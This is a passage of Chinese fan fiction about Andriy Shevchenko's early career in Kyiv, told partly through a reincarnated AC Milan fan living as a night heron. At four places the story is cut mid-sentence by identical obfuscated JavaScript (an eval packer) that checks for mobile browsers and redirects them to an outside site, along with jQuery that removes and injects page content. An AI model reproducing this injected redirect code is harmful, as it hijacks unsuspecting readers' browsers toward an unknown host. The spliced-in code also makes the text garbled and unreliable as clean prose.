《（米兰）热爱当愤怒小鸟的你》 2. 两只病鸟 “你好安德烈，你恢复得怎么样？” “谢尔盖～很高兴接到你的电话，一切都在计划中，我的疼痛感比昨天轻了一点。” “那就好。咳，今天萨博来了，他和瓦列里·瓦西里维奇凑在一起，计划着怎样‘折磨’我们，在国家队和俱乐部。当然，也包括还在养伤的你。我猜测，不用多久，‘上校’就要召唤你回去。” “但我还在养伤，‘上校’不能像上帝那样让我痊愈。诶，我最近不太走运，昨天晚上，一只鸟袭击了我。” “袭击了你的左膝盖？” “不是，如果真是那样，我的腿就真的报废了，从八月到现在，已经受伤了两次。天呐，我还记得，它真胖，翅膀就像摆设，吓人的红眼睛。” “都快十二月了，看到鸟类可不容易。” “事实就是如此，不知道从哪里冒出来的胖鸟，撞在了我的头上，然后比我更早一步惨叫，吵得人心烦。” 舍甫琴科在电话里说。 ＊ 水里有一只断腿鸟。 水很清，远远看去，半只企鹅窝囊地漂在水上，唯有走近了才能发现它脑后有五根白色的天线。 那显然不是企鹅。 ——舍甫琴科谨慎地想。 他没有去干扰它，他认为人或者动物都有自己的轨迹，所以，一只停留在他家水缸里的脏鸟，明显不如猫或者狗那样惹人怜惜。 哪怕它是一只鹦鹉呢？陪他说说话也好。 而不是像现在这样，推着轮椅坐在院子里，爸爸前天返回工作岗位，妈妈和姐姐今天早上出门了，家里只有他。 一个20岁的成年人应该可以照顾好自己。 他没有告诉家人自己被鸟袭击，那样会展现出脆弱——教练们都不喜欢这种气质，而他也不愿意再次劳烦家人，所以，刚刚的谢尔盖·雷布罗夫就是唯一的故事倾听者了。 这只鸟动了。它转向了屋子的主人，懒洋洋地，忽然又叫了一声，直愣愣地看着他，整个身体都往水里掉。 它的惨样让舍甫琴科犹豫了下，用水瓢把它捞了起来。 获救的鸟儿瘫倒在水瓢上，它的腿不算长，但粗壮，与火烈鸟、白鹭那种“漂亮”没有任何关联。 “像一只鸡。” 舍甫琴科撑着下巴评价。 不过，应该不好吃。 他没有再在它身上投入关注，风有点大，还是去屋子里躲着更好。 他没什么犹豫就走了。 ＊ 鸟醒来了。 它，或者说他，从这具躯体里苏醒。 “天堂？地狱？” 在活人看不到的纬度，一只机械鸟回应他：“是人间，pal。” “我是什么？告诉我，我是什么？” “为了不影响你的生命进程，你可以先以现在的形态探索世界。直到新的躯体注册。” “听起来非常邪恶，不真实。” “你不需要理解，Max。只要接受它。” Max本想再追问几句，但疼痛让他转变了话题：“现在是哪一年？我在哪里？” “1996，冬天，在基辅，一个平民的家里。你在今天早晨不幸砸断了腿。” Max心头一阵激荡——不是高兴。 过去的始终是过去，对于已知的结局，他没有再经历一遍的兴趣。 还不如一觉醒来来到2050年。也许那时候，他爱的俱乐部能够再赢得一些什么。 他爱它，从刚刚接触足球开始，他就爱上了它——米兰。 无论是高峰或者低谷，无论上学或者工作，只要一到比赛日，他就会备上好吃好喝的，一个人在电视／电脑面前享受那接近120分钟的直播——比任何电影都有趣。 但他还不够小心，因为经常看米兰的球迷都知道，速效救心丸迟早要准备好。 “我现在会死吗？”Max谨慎地、又带有遗憾地问。 机械鸟：“鸟当然是会死的，但夜鹭的寿命可以达到20-30年。在此期间，足够你等到复活。” “它吃得太多了，需要人类的帮助才能活。事实上，我不介意成为一只鹦鹉。” “抱歉，你的手机里和鸟有关的图片太少了。我以为你喜欢夜鹭。” Max·夜鹭·那不存在的鼻孔仿佛在冒气：“还有其它选择吗？” 他有些怨恨过去那个一无所知的自己了。为什么偏偏存了那么多夜鹭？明明他也喜欢罗宾鸟、黑肩鸢、玄凤、山蓝鸲…… “是的，红色的小鸟，但没法识别品种。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598454|171949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红鸟？ 哕。 去而复返的舍甫琴科靠近以后，看到的就是一只“乌鸦”在呕吐。 他只是来把水瓢放回去的。现在来看，也许得把这只鸟送走再说。 Max头很晕，他的视角就是一只巨大的鞋子停在面前，然后，他不由自主地飞了起来。 屋子的主人拎着它的脖子站了起来。 它彻底闭上了眼睛。 这回换作始作俑者为难了。舍甫琴科捏住夜鹭的后颈，毛茸茸的寸头左顾右盼，突然对着室外的垃圾桶出了神，就在犹豫不决是否要把这只脏兮兮的猛禽扔出去时，汽车鸣笛的声音从道路一头传来。 居然是父亲回来了。 “安德烈？” 父亲将车停到车库门口，也发现了呆呆愣愣的儿子。 他跑过来，呵斥道：“谁让你站起来的？坐下。” 走到近前，又发现那只奇怪的大鸟，像乌鸦，生死不明，被人类捉在手里。 “我在院子里捡到了这只鸟，它受伤了，晕倒了。”舍甫琴科尴尬地说。他也不知道自己抽了什么风，在面对父亲的质问时，突然就对这只昨天还撞过自己的飞禽有了丝丝的怜悯。 就好像命运的指引。 命运阻止他去当一次坏人。 “你想救它？” 父亲总是严肃的。十岁的时候舍甫琴科会惧怕威严的、吝啬于解释的父亲，但是二十岁的他已经不会了。 他知道父亲是敏锐的，比他更聪明。他只是不确定，这只鸟，会像多年前的那个小足球一样，被发现是危险的，然后扔掉吗？ 一只野外飞禽的病毒，和放射性物质比起来，哪个更可怕？ 不知为何舍甫琴科突然下定决心，点头：“我想要救它。” “它咬人吗？” “不。它只是惨叫。” “你得找到医治它的兽医，以及能够照顾它到伤愈的人。” 舍甫琴科：“现在是冬天，至少到春天，三月以后。” “所以你打算怎么做？你的母亲、姐妹没有义务为你做这件事。” “但是，办法总是有的，不是吗？至少，我付得起钱。” “那就去做吧。”父亲揉了揉儿子的头。 就像你追求足球那样。 3. 为他着迷 它惬意的神情让人不舍得打扰。 也许是在美梦中吧。 在湿巾构成的床垫上，卧着一只蓝白色夜鹭，湿巾往下是热水袋，它结实得很，温暖而令鸟着迷。睡着的鸟儿躺姿乖巧，脑后额外垫着几层餐巾纸，中间还夹了铝箔，让它不至于扭到脖子、亦或者烫伤脑袋。 正上方是透明的圆盖，大到能把热水袋拢住，仅仅留了两个透气孔——这也算是临时的保温箱了。 如果不提为了给伤腿打夹板而被剪掉的些许羽毛，那么一切都是好事。 天快黑了，机械鸟不得不出来充当闹钟：“晚上好，Max，恭喜你成功得到了兽医的治疗，并且保持住了体温没有冻死在今天。” Max：“我梦见自己在泡澡。温暖、有水果，电视机播放憨豆先生。” 机械鸟：“贴近时代，很好。” Max：“是谁救了我？无论是谁，可惜不能对他说谢谢。” 机械鸟顿了顿，金属音抑扬顿挫：“你会有机会的。” “我很饿，能吃下十只泥鳅。他们会给我喂泥鳅吗？说真的我还不太能接受吃生的，但如果有新鲜的鱼，一切都可以暂时被原谅。人类对待哺乳动物总是比对待禽类更奢侈，如果我的饲养者是狂热的爱猫爱狗人士，那么三文鱼也有可能会是我盘中餐。” 不等机械鸟回答，Max接着说：“是因为我们没有柔软的皮毛、殷勤的陪伴吗？是因为高楼关不住向往天空的王者吗？如果有钱人家的狗可以每周享受牛、羊、猪、鸡、鸭、鹅、兔，那么夜鹭，鸟中的人气王者，难道就不配吃鱼肉火锅？” “也许是因为直肠子生物在人类看来，只有是否上餐桌的区别。”机械鸟等到了空隙，终于来得及说上一句话。 它忽然有点同情Max了。 ＊ 死亡本该是单程票。 所以Max很快接受了现实，任由兽医给他喝了什么补液，并且……梦想成真了。 他吃上了新鲜的鱼，还有撒洛加餐，最初住在诊所，时不时要忍受其它动物制造的噪音，等到某天，见到来诊所接他离开的救命恩人，他忽然意识到：要结束了。 他当然认出了舍甫琴科。那个年轻的、笑语盈盈的青年。 所以他没有反抗，只是将今天的口粮全部吃完，然后扑棱扑棱翅膀，飞到了舍甫琴科的肩上。 舍甫琴科惊讶地歪头，得到夜鹭的蹭蹭。 那是夜鹭最温柔的时刻。 这一动作也成功改变了人与鸟的命运。 夜鹭被带到了家里，舍甫琴科给它安排了一个木头小屋。 “有狗的味道。”Max转了几圈，严肃地下定论。 机械鸟：“你看出来了吗？他原本是打算放飞你的。” “但是他似乎改变了主意。” 夜鹭巡视着领地，憧憬，“希望他的工资愿意支出一小部分让我天天吃上鱼。” “Max，别忘记你原来是人类。” “我没有，但回忆越多，越是痛苦。” “你会复活的。” “谢谢，如果有下辈子，我想要肆意地在体育场上奔跑，像风一样快。”Max趁机许愿。 机械鸟：‘这个家伙顺竿爬的时候，好像狗啊。’ ＊ 舍甫琴科一家的投票结果出来了。 Max平时被允许在院子里活动，那个木头小屋也放在了院子里，甚至还有保温的门帘。 小屋被改造过，四面加装了挤塑板，屋内有旧衣服做的窝。 木屋门的朝向是避风向，可以说尽量给了夜鹭自由。当然，一夜风雪后，在舍甫琴科一家担心它被冻死时，机灵的夜鹭早就悄悄跑到了某个暖气片附近。 那是安德烈的房间。 是的，Max已经悄悄叫他安德烈了。 自那以后，安德烈不在家的时候，暖气片也总是开着。 夜鹭是非常能吃的，一天能吃掉自身一半体重的食物，最开始舍甫琴科一家给它喂冻鱼，它很礼貌地用坚硬的喙啄了几下，然后看向安德烈的母亲。 “它能吃熟的吗？” “当然。” “生的呢？” “鱼、虾、青蛙。兽医就是这么喂的。哦对了，它也吃撒洛。” “娇气的小家伙。” 夜鹭默默地站到了安德烈的脚背上，绕着他的腿拱来拱去。 “那就随我们的食谱吧，按我的食量来。等到温度上升，也许它就能去水里捕食了。” Max听不懂他们在讲什么，只能靠卖萌来获取明天的食物。 安德烈的姐姐好奇地摸了摸夜鹭，它没有反抗，好像天生就适合家养似的。 在一天两餐获得保障后，Max的生活又稳定了下来，天好的时候就去飞两圈，然后回到自己的木屋里。 最开始，他不认识路，只敢沿着道路飞一百米。 安德烈有幸围观过Max的往返训练。 “它好懒。”经历过魔鬼训练的乌克兰人嘲笑。 夜鹭认认真真地来回飞，用了三个月，终于认清了整个社区的所有大路。 这时候，春天已经来了。 距离基辅迪纳摩赢得联赛冠军，越来越近了。 当然，这个时代的乌超冠军如果不是基辅迪纳摩，那才奇怪。 安德烈的家人并不总是去现场支持他。 有时候，客厅的电视机会播放直播。比赛日总是有预兆的，每当下午快结束，Max就会悄悄地衔着废旧报纸出现在窗台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598455|171949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，聚精会神地看比赛。 赖鸟类的视力所赐，他现在可以免费观赛了。 当然，鸟是直肠子，夜鹭也不例外。 不过在发现了Max的智慧不低后，舍甫琴科一家默许了它的操作。 等到颁奖典礼那天，安德烈的家人们早早打开了电视，然后摸了摸夜鹭的头，随即驱车去往了体育场。 在等待的时间里，Max艰难地换台，终于在某个电影频道停下了。 等到颁奖典礼开始，他忍痛抛弃重播的《福尔摩斯和华生医生历险记》，转而开始观看安德烈的第三个联赛冠军。 那是个好天气。高朋满座，体育场上站着吉祥物、一身正装的俱乐部成员，以及颁奖嘉宾们。 Max承认，这是他第一次在足球的颁奖典礼上看到这么多穿西装、甚至是军／装的人。 这群人太严肃了，严肃到他开始回想米兰的颁奖典礼。 最初是2011年的联赛，然后是2003年的欧冠，在他20年的观赛记忆里，最深刻的冠军是这两个。 也许是王朝的巅峰，与落日的余晖。 摇了摇头，他重新看回电视。 最开始Max险些把一个陌生球员认成了安德烈，但很快他意识到，安德烈的脑袋要更圆一些。 冠军成员们收获了花束，看起来温文尔雅的洛巴诺夫斯基收获了最佳教练。 安德烈是最佳球员。 等到98、99年，他的大名传遍欧洲足坛，届时，属于基辅的夜莺就要出发去探索世界了。 Max感到惋惜。如果那时候他还是夜鹭，他能不能一起跟着去米兰呢？ 好想去啊。 只是太远了，对一只会迷路的鸟而言。 第二天，庆祝完了的安德烈骑着鬼火回家，Max站在椅背上，对他左看右看，突然抓住了前者随手放在桌上的冠军奖牌。 “你也喜欢它吗？” 安德烈摸了摸夜鹭的翅膀。 他知道它并不是一个破坏者，所以给予了它许多纵容。 夜师傅的红眼睛眨了眨，在奖牌边上踱步。 “我得认清，安德烈是个天才，他几乎耀眼了一个时代。” Max忽然自言自语，“他不是米兰浇灌的天才，他是被严师摆正的成品果树，移栽到了米兰。” “他早就品尝过风光、荣誉、胜利，也体会过伤病、苦难和寂寞。” “我以前看低了他。” 忽然上线的机械鸟：“你在感慨什么？就算去除掉那些钱、友谊和荣誉，人家还活得比你长哎。” Max恼羞成怒：“闭嘴吧，我的朋友。” 一无所觉的安德烈看着突然跳脚又突然停下的活泼夜鹭，也摇晃着脑袋笑了。 4. 球迷们本该快乐 人生就像一座船。 船长舍甫琴科掌握船舵 、迎着风暴穿越通往新海域的大门，但整个旅途并非一帆风顺。 第一次错误，第一次被他亲自记载的错误，是97—98赛季的欧冠小组赛，VS纽卡斯尔联。 足球是团队的游戏。基辅迪纳摩前一年被禁了欧战，本赛季的雷布罗夫和舍甫琴科，在复仇之火刚刚涌起的时刻，因首场战胜PSV而产生的骄矜，就被浇灭。 从两球领先，到被追平，落差感、愧疚感促使这两个年龄相近的小伙子把彼此联系到更深的层次。 他们发誓不会再这样，让十万支持者沮丧。 球迷们本该感到快乐。 ＊ “是的，就是那样，我的球队击败了巴塞罗那，在我们的主场。” “舍甫琴科，这场比赛你没有收获一个进球，你会不会失望？” “球队是由几十块碎片组合的拼图，我的三个队友进了三个球，那远比一个人的英雄主义要高尚。” “你会期待下一场比赛中进球吗？在诺坎普。”记者把话筒怼到舍甫琴科面前。 皮衣青年轻松地回答：“我有种预感，我会进球的。” 命运的齿轮转动了。 1997.11.5 站在诺坎普，冲天的声音并未影响到远道而来的基辅迪纳摩队。 舍甫琴科甚至感到心灵的宁静。 他笑着和队友说：“我会击中它三次。” 队友顺着他的手指看到了裁判手中的足球，惊叹：“那你可要非常忙碌了。” “为什么不呢？” 整场比赛如他预想的那样。 第十分钟，舍甫琴科与队友们完成了对第一个球的庆祝。 第二和第三个球在上半场结束前悉数到齐。 属于舍甫琴科的帽子戏法，将这个东欧来的球员，介绍往全世界。 他那么漂亮、活泼、年轻，在比赛结束后，手机里充满了来自无数方向的引诱。 德国（慕尼黑）、意大利（都灵）、西班牙（马德里）…… 21岁的舍甫琴科拒绝了。他仿佛知道自己有个使命，又或者是在罗马掷出的硬币在脑中回响，更重要的是他自命不凡，在老师洛巴诺夫斯基的看管下，他像老道的猎人一样，蛰伏着、期盼着。 Max静静观望着这一切。这几乎是一个循环，他的朋友——机械鸟观测他，他又盯着舍甫琴科，一只鸟到另一只鸟，谁能最终高飞？ 他喜欢安德烈及其家人，但是机械鸟才是他真正的的朋友，他不知道为什么，但是球星、名人，都太遥远了，让他胆怯。 另一个更深层次的原因，在Max某天午觉睡醒后，被领悟到了。 “今天真坏。” “怎么了？”机械鸟不明白为什么仅仅隔了一个中午，同伴就忽然苦大仇深起来。 “我刚刚想明白了一件事。” Max飞在空中，这天不是比赛日，基辅的街道没那么拥挤。 “明白了飞行的小技巧？” “不～我在想，为什么我的爱，对球员们，那么短暂，那么冷酷。” “你在想谁？那个乌克兰人？” Max又飞了一个街区，才说：“每个赛季，我会记住每个一线队球员，以及有天赋的青训。但是即使是那些我曾经为之摇旗呐喊的‘真爱’，当他们离开米兰奔赴钞票、理想、更好的阳光，瞬间就结束了。” “即使是舍甫琴科？” “别单独说他。但，是的，如果他像巴斯滕一样……”Max强行扭回话题，“也许他会得到更多爱。” ‘像巴斯滕一样，被彻底打上米兰的印记就好了。’他阴暗地想。 “没有两个一模一样的树叶。同一个人不能两次跨进同一条河流。”机械鸟用哲学回应。 Max心头一震，辩解：“但是当我们谈起托蒂，总是离不开内斯塔，谈起巴蒂就不免想起鲁伊。内核总是相似，忠诚者值得更好的结果。我只是遗憾，米兰供养不出第二个乌德勒支天鹅。” 机械鸟：“乌德勒支的天鹅？是当地专养的特产吗？” Max翅膀都忘了扇，险些从天上摔下去。 “我在说一个人。” “你今天要去牧师的家里？” “是的，我废了好大劲才找到一位罗森内里。” 就在舍甫琴科辛勤训练、外出比赛的日子里，Max给自己找了第二个饲养员。 那是个独居的、家里非人活物只剩下蜘蛛的老头。他曾经是牧师，现在住在居民楼里，每天与电视机为伍。 而Max能识别他，完全是因为只有这个男人在十一月的基辅还穿着短袖球衣。 红黑色是掩藏不住的。 Max用了两个多月时间和老头“培养感情”——指隔一天来一趟，每次停留两、三个小时。 起初，老头不以为意，半个月后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598456|171949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头开始研究鸟能吃什么，两个月后，他就允许夜鹭停在自己肩膀上了。 今天是意甲第17轮，米兰vs佛罗伦萨，是Max当鸟以来第一次完整地看一场米兰的比赛。不枉他飞了几公里才落地。 开赛前，老头在胸前画了十字，表情并不轻松。 一无所知的夜鹭瘫在老头给它折的纸盒子里，红眼睛炯炯有神。 好，队长挑边了。 咦，好年轻的保罗，他是在这年接任队长的吗？ 卡佩罗是真的像《飞屋环游记》的主角哎。 再看紫百合那边，鲁伊穿紫色也挺好看的，巴蒂要是属于米兰就好了。 门将有些眼熟，但是一时认不出来。 Max内心里把球员们评判了一圈，不知不觉，主裁判就吹响了哨声。 被夜鹭脑容量拖累了智商的Max随着场边镜头扫过替补席和观众席，没发现什么不对，刚刚沉下心准备认真看球，就开始提心吊胆。 不，这对吗？ 罗森内里齐齐抱头，夜鹭不甘落后，在对手进球的一瞬间叫出了声。 这才第3分钟！米兰一球落后。 熟悉的心梗感觉怎么又回来了？ 中场休息时，夜鹭去楼下解决了下卫生问题，然后又回到座位上。 老头比较坚强，只是神情凝重，没有崩溃到发笑——Max悄悄观察一番，给老罗森内里点了个赞。 下半场刚开始，米兰先行换人，多纳多尼接替克鲁伊维特，Max还诧异这次换得还挺早。 毕竟在Max最近几年的记忆里，皮老师换人通常是掐着表换人（不功不过／将功补过），丰师傅临场反应快但还是太年轻，孔师傅阵型多变如同在玩电子游戏。 ——这还是在5换之后。 在只有三次换人机会的时期，这么果决的卡佩罗，会得到他想要的吗？ 答案是没有。 第52分钟，佛罗伦萨再下一城。 Max已经累了。牢，都牢点好啊。 卡佩罗当然也慌，59分钟再次换人。 但这点挣扎于赛果毫无影响。 夜鹭连赛后采访都不看了，失魂落魄地回去舍甫琴科家。 没有打扰任何人，Max轻轻地钻进属于自己的小木屋里，默默地悲伤。 这就是米兰吗？ ‘神啊，假如你真的存在，我愿意从此奉上忠诚，请不要再给予我这般折磨。’ 5. 热烈的夏天，热烈的爱恨 没有比忠诚于一家足球俱乐部更像是赌博的事情了。 把一颗真心寄托在别人身上，你就不能左右，对方回应给你的是一个吻，还是一顿鞭子。 接下来几场意甲，米兰也实力表演了什么叫跳楼机，赢一场就奖励自己输一场平一场，Max眼睛一闭，劝慰自己：总不能只在赢球的时候才去爱它。 充满未知，不也正是足球被喜爱的原因之一吗？ 只不过球员们，很多时候做不了你幻想中的英雄。 ＊ “……他为米兰工作。”训练场边，只剩下舍甫琴科喃喃自语。 匆匆一面，他与米兰派出的球探之间寥寥数语，对方就离开了基辅。 像是一个提前告知的生日礼物备选，让他有足够多的时间去衡量是否要去选择它。 并且，年轻的舍甫琴科从未怀疑红黑军团的伟大——哪怕本赛季它跌跌撞撞。 雷佐，那个服务于ACM的男人、侦探，如他自己所言，很快又回来了。 他出现在每个有舍甫琴科的时刻，但相隔很远，犹如天文学家在看那独一无二的星星。 在欧冠小组赛结束后，舍甫琴科任由一个陌生人（雷佐）用文字，或者还有电话，持续地向红黑军团表达对他这个新星的欣赏、夸赞，并且无时无刻都能自然地微笑——即在听说球探们亲手写下“他配得上米兰”这句话。 1998赛季，基辅迪纳摩的欧冠之路倒在尤文图斯面前，但是国内的双冠王勉强抚平了球迷的遗憾。 而AC米兰，以意甲第十名的成绩结束了这个糟糕的赛季。 罗森内里的叹息，亦在东欧响起。 “这怎么可以？米兰！耻辱！” 夜鹭在树枝上一起一伏，犹如荡秋千，“我应该怎么办？我无法摆脱它，因为它烙印在灵魂！” 他确实无可奈何了，只能对着另一只鸟、高维生物，传达自己的情绪。 机械鸟：“这是你应该给我的答案，如果能两次踏进同一条河，你要如何走完人生？” “我的人生？无趣。我不是一个特别的人才，唯一能做的是在众多惊奇故事里选择一场参与，然后，靠回忆支撑着过完一生。譬如足球、米兰、成为追随者。” 机械鸟：“你把自己形容为普通，但赞扬别人为惊奇，那什么才是人生？你的人生。” 如果还有双手，Max一定要为这个好问题鼓掌，但是他做不到，于是翅膀一抖，迎面冲向天空。 “梅塔诺亚，我亲爱的，人类的一生是这样的：大多时候浑浑噩噩，要么为了谋生汲汲营营，要么得了金钱就欢愉享受。只有在无知和焦虑的间隙寻找快乐，才能让人不像是被关在地球的囚徒。” 而那些轻而易举看穿屏障，给出直塞的人，就是惊奇。 他无法企及。 机械鸟：“告诉我，你想要怎么做？” “你说，”Max盘旋了一圈，最后停在屋顶，“我以后能不能去踢球呢？” ＊ 不论昨天有几人哭几人笑，新的一天照常到来，舍甫琴科一家正进行家庭聚餐。对于一年里有九个月都在和足球、奔跑作伴的球员来说，这样的日子是难得的休息，不论是身体还是心灵。 无人在意的方向，Max站在电线上，周围没有任何同类。 他只要再飞近一点，落到窗台上，就能看到屋内的人，那个他喜欢却又嫉妒的人， ——安德烈。 白衣飘飘的短发青年正面向光芒万丈的未来，他多快活。 而Max现在是一只夜鹭。除去飞行这项极限运动，没有任何消耗情绪的办法。 于是夜鹭飞到窗前。 窗户是个很好的媒介，你可以透过它看到对面，也能透过它看到自己。 “我有个计划，Max，你得去学习。”机械鸟忽然出现，带来一个坏消息。 “为什么一只鸟要学习？” 受惊的Max往后一退，控制不住地从窗台边缘下落，快要触及地面时勉强滑翔了几个身位、落地。 机械鸟：“为什么不？我学习就很好。况且只是意大利语。” “那是因为你本就万里无一。”Max从草坪上翻过身，翅膀隐隐作痛，“在俄语环境中学习意大利语，我要是能做到，早就是天才了。” “为什么做不到？你可以。” “哦，我真希望昨天我问你能不能踢足球的时候，你也这么肯定地回答。” “因为十个人里有五个人能学会一门外语，但是一千个人里未必有一个人能碰到职业足球的门槛。” Max：“是的，但是英语也够了。难道伦敦桥今年就倒了？” 机械鸟反问：“米兰在英国吗？” “你的意思是？”Max为自己的猜测隐隐激动，“我能去意大利，能去米兰了，是不是？” “世界就在那里。只要你愿意走。” Max沉浸在喜悦里，忘记了疼痛，放声歌唱。 “Country roads take me home…” 室内，舍甫琴科正热情地分享故事，奈何窗外“呱”声一片，打断了他的兴致。 “它以前也这么兴奋吗？” “大部分时候是安静的。” “我听说它会用电视遥控器。” “是啊，你进球的时候，它还会给你加油呢。” 机械鸟：“他们说你唱歌难听。” 夜鹭停止了歌唱。 它快乐地飞远，新的目标在朝着它招手。 ＊ 这个夏天很快又过去，新的赛季如期而至。 原本信心满满的舍甫琴科却遭遇了进球荒。而这时他刚刚提出加薪不久。 欧冠资格赛两回合，他在运动战没有进过一球，甚至在十二码前踢飞了点球。 布拉格那天阴云密布，八月的炎热让他流了很多汗，不止是紧张，还有恐惧。 ‘我是对球门过敏了吗？’ 感谢队友，没有让他的失误变成对整支球队的惩罚。 基辅迪纳摩在点球大战中险胜对手，赢得了通往欧冠的门票。而十天之后，就是欧洲杯预选赛。 宿命的对手——乌克兰vs俄罗斯。 乌克兰人为这场“战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598457|171949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗”蓄势已久。 从亚诺夫斯基铲倒德米特鲁林开始，火药味开始浓烈。 第十四分钟，11号雷布罗夫主罚任意球。 那不是一个好位置，在大禁区右边，角度也小。 他助跑了几步，右脚抽射，足球落在禁区内，背对球门的队友在左右为男的情况下用腿将球一弹，电光石火间，失去视野的俄罗斯门将反应不及时，其余防守队员都将注意力停留在球门正前方时，这颗足球改变了轨迹，朝着左侧飞去。 身边仅有一名防守队员的波波夫骤然前插，将球顶进球门。 又过了几分钟，舍甫琴科获得主罚任意球的机会，但是太远，足球偏出门框。 第24分钟，乌克兰队后场抢断，没有防反意识的俄罗斯队吃到了苦果，被训练得像一座机器的乌克兰前锋们齐齐奔跑，由最前端优势明显的1v2演变到在过了中线后跑成了3v5，右侧的舍甫琴科甚至后发先至，他与持球的队友身后三米外就是2名追兵！ 但更妙的是，原先在最前面没有参与回防的斯卡琴科，被放空啦。 与他几乎跑成一条平行线的两名俄罗斯队员频频回头，典型的盯球不盯人。而真正注意到他踪迹的另一名俄罗斯队员与他已经至少相隔10米。 中间的持球人没有转头，将球向左前方转移，送给空档巨大的斯卡琴科。 斯卡琴科没有浪费这个机会。刚刚进入大禁区，他抢在出击门将之前，轻松一脚挑射，完成了本场第二粒进球。 下半场，乌克兰人禁区内放倒俄罗斯队员，裁判判罚任意球，但这粒球与上半场舍甫琴科的那一脚一样，从右侧飞出去，并无威胁。 第67分钟，不甘落后的俄罗斯通过左侧任意球扳回一球。 接下来要发生的事情谁都猜不到。 第72分钟，俄罗斯后卫回传门将失误，顶在前端的雷布罗夫鬼魅反跑，抢在俄罗斯人之前碰到球，被后卫又坑了一把的门将哈林见势不妙扑倒雷布罗夫。 雷布罗夫被撞飞出去，但一刻也没停地站起来，直到看见裁判严肃地走过来出示红牌，回过神后感到疼痛的雷布罗夫又缓缓下跪、趴下。 对俄罗斯来说，这可太坏了。一门被罚下，还送了对方一个点球。 从远处跑过来的舍甫琴科将手递给了雷布罗夫。 他们没有说上一句。但是默契不需要。 雷布罗夫低射球门远角，替补门将判断对了方向，但下地慢了，于是比分来到3：1。 不得不说，本场比赛雷布罗夫几乎是战神。 不久他又接队友传球，一脚爆射，好清脆的打铁声！ 俄罗斯队直到比赛最后时刻才又进一球，但已无力回天。 在迎风飘扬的国旗下，新生的国家、新生的国家队3：2赢下了俄罗斯。 而在观众席的八万分之一里，正端坐着一个优雅的意大利人。 人们叫他阿里埃多·布拉伊达。 “安德烈，明早到我们办公室来，有人要见你。”管理层说。 舍甫琴科并不意外，他在赛前就知道，自己距离那个梦，大概更近接近了。 6. 你好，再见 Max在看到那件球衣时，魂似乎就飞走了。 一个穿着红黑色剑条衫的舍甫琴科出现在这间房子里。他向父母说着什么，中途还转了一个圈，神情羞涩又骄傲。 “他们在说什么？” Max躲在花盆后面，悄悄地问自己的“随身精灵”。 “舍甫琴科问父母，他穿这件球衣好不好看。” “那可太好看了。” 望着那个金色的10号印字，Max目眩神迷，恨不得立刻靠近。 但是他不能。 那是安德烈的礼物，是米兰的礼物，应该由人类的手去触碰。 这件礼物最终被脱了下来，由安德烈的妈妈收好。 这时候，Max才对进入1999赛季有了真切的感受。 因为这是决定性的一个赛季。 无论是米兰的重建、安德烈的欧冠之旅，最终都将汇聚成一件事——基辅的夜莺降临米兰。 那标志着一个新的米兰王朝的开始。 ‘那我呢？我又在哪里？’ Max不甘心地想。 “我什么时候才能等到那个机会？你答应过的。” 机械鸟：“快了。也许1年。” “还要继续等？”Max失望极了，啪叽一声摊成鸟饼。 “准备工作在进行中。” “为什么要那么久？” 机械鸟的情绪难得有了波动：“为了你的足球梦。” 于是Max选择继续忍耐。 他的日常变成了这样：上午飞去基辅迪纳摩的训练基地，旁观训练。 中午回去吃饭，然后缩进木屋里睡觉。 下午找个安静地方练习意大利语（机械鸟提供语音教材）。 晚上继续吃、然后看电视。有米兰的比赛就看米兰，没有就看基辅迪纳摩。 这一段堪比中学生备战高考，或者美术生集训的日子，让Max无暇思考人生，那些由于过于空闲而得以产生的负面情绪，在时光中被碾碎了。 时间就这样流到了11月。 这是Max来到基辅的第二年。 由于清楚地记得1999年的意甲冠军归属，所以他没有去年那么紧张了，他开始看安德烈的欧冠比赛。 1998.11.25 基辅迪纳摩vs帕纳辛纳科斯 不得不说，基辅的冬天很冷，零下十几度也要参赛的球员们动作僵硬，而奇异的是，作为客队的对手，竟然没有被严寒所影响。 